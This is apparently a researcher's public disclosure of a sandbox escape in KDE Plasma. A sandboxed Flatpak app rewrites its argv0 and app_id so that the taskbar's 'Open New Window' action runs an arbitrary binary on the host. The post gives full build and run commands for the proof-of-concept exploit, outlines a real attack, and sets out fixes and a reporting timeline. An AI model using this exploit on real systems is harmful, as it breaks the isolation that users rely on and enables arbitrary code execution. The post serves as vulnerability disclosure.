PoC

This proof of concept demonstrates a mean for malicious sandboxed (Flatpak here, but any sandbox apply. With or without the security context support.) applications to impersonate and, more importantly, spawn arbitrary binaries on the host when user invokes Open New Window action.

This demonstration utilises Arch Linux host with some dependencies (wget, unzip, meson) to build the malicious binary, and a Flatpak application io.github.johannesboehler2.BmiCalculator with no granted permission (except for the evil binary we have to pass in, because building things inside Flatpak is not easy).

You will need kcalc (/usr/bin/kcalc) as the designated target.

Build the evil binary on host:

cd /tmp
wget https://github.com/Kimiblock/mesa-demos-argv0/archive/refs/heads/argv0.zip
unzip argv0.zip
cd mesa-demos-argv0-argv0
meson setup build
meson compile -C build/

Install the Flatpak app and provide said binary to it.

1
2
3

flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
flatpak install -y io.github.johannesboehler2.BmiCalculator --user
flatpak override io.github.johannesboehler2.BmiCalculator --filesystem=/tmp/mesa-demos-argv0-argv0/build/src/egl/opengl/eglgears_wayland

Now that it’s all set, let’s run the evil binary:

1	flatpak run --command=/tmp/mesa-demos-argv0-argv0/build/src/egl/opengl/eglgears_wayland io.github.johannesboehler2.BmiCalculator

Notice that in the task bar, KCalc‘s icon is being shown. If we right click and select Open New Window, the designated binary /usr/bin/kcalc starts unsandboxed, in the app.slice cgroup, using the host mount namespace, fully exposed.

Discovery

While testing the Portable sandbox on KDE Plasma (in a QEMU virtual machine), we just casually found out some of the windows does not have proper .desktop file associated, leaving them show up in task bar with generic “Wayland” icons. That was reported in KWin trusts on Apps fully for app_id, allowing apps to impersonate as others.

Something hits the fan

Since then, we had no indication on how things work on this specific desktop environment. So I decided to conduct another experiment. This time a new anomaly popped up: While accidently middle clicking on the task bar (it would invoke “Open New Window” by default for a specific app), the app launched a new window as expected, yet it did not seem to remember my saved login credentials, nor did it use any of modified settings. Upon closer inspection, combining the PID obtained from KWin Debug Console and control groups + rootfs info from procfs, a complete sandbox escape has surfaced.

Explaination

So it was clear, there is a complete sandbox escape when I accidently triggered a middle-click inside the virtual machine.

What’s it doing?

Based on the fact that KWin could not associate the window to a real .desktop file, there must be something that still allows it to find a argv0 to execute. I took a guess on /proc/PID/cmdline and it proved to be right. See the demo below.

It’s a dumpster fire

This is not limited to spawning existing application instances outside of the sandbox. Since it just so happens that any process, including unprivileged ones can change it’s argv0 (Note that mount namespace is also a valid choice, but less flexible.). Combined with the lack of guard on app_id, the insecure nature of reading /proc/PID/cmdline, creates a powerful exploit that allows arbitrary code execution on the host.

Demo time

This demo is written by GalaxySnail since I had little knowledge in C. We will be using Mesa’s eglgears-wayland as a demo.

Clone the repository: git clone https://github.com/Kimiblock/mesa-demos-argv0.git --depth=1
Change working directory: cd mesa-demos-argv0/
Edit the designated command within the main function at src/egl/opengl/eglgears.c to your liking (bash scripts, compiled binaries, you name it)
Build: meson setup build && meson compile -C build
Execute the payload: ./build/src/egl/opengl/eglgears_wayland
Open New Window (either middle-click on the icon, or select it in the context menu)
Our designated evil binary starts up

Cool, now what?

A real attack will probably generate a shell script under $HOME, of which typically resides on the host with the same path. The evil app can change it’s argv0 to point at binaries generated or downloaded silently, and have total control of the session when the user clicks Open New Window, or just middle-clicks the application icon by mistake. This demonstrates a powerful attack, yet we did not receive any updates from the KDE Security email.

If KDE Plasma wants to plug this exploit in any capacity, then it should first get the applications’ ID from either the sandbox or control groups and do not trust application provided ID. It also need to stop allowing “Open New Window” when there is not a match for that specific window with a .desktop file.

Timeline

Note that in the original mail, I mistakenly spelled arbitrary code execution as RCE.

All events are listed using UTC +8 time zone, using 24h time format.

Time	Event
April 1 2026, 23:51	The first email was sent to security@kde.org
April 2 2026, 00:15	David Edmundson david@davidedmundson.co.uk replies to the mail acknowledging the report
April 2 2026, 00:24	David Edmundson david@davidedmundson.co.uk said the function “uses the Exec= from that desktop file” and they “don’t think it can be used to run arbitrary code”
April 2 2026, 11:59	I got a PoC working with the help of GalaxySnail, confirming that it does not depend on a any .desktop file
April 2 2026, 18:26	A follow up mail was sent to security@kde.org, with an exploit file and an explanation. But got no response.
May 2 2026, 11:59	A check was performed with Plasma 6.7 Beta, showing the exploit was not patched.
July 2 2026, 18:30	The exploit has exceeded a waiting period of 90 days whilst still active, so we proceed to publication.

Because the exploit went un-patched and no follow up reply was received, combined with a typical 90-day wait, we decide to release this exploit in an attempt to raise awareness.

Special thanks to GalaxySnail for writing this Proof of Concept code.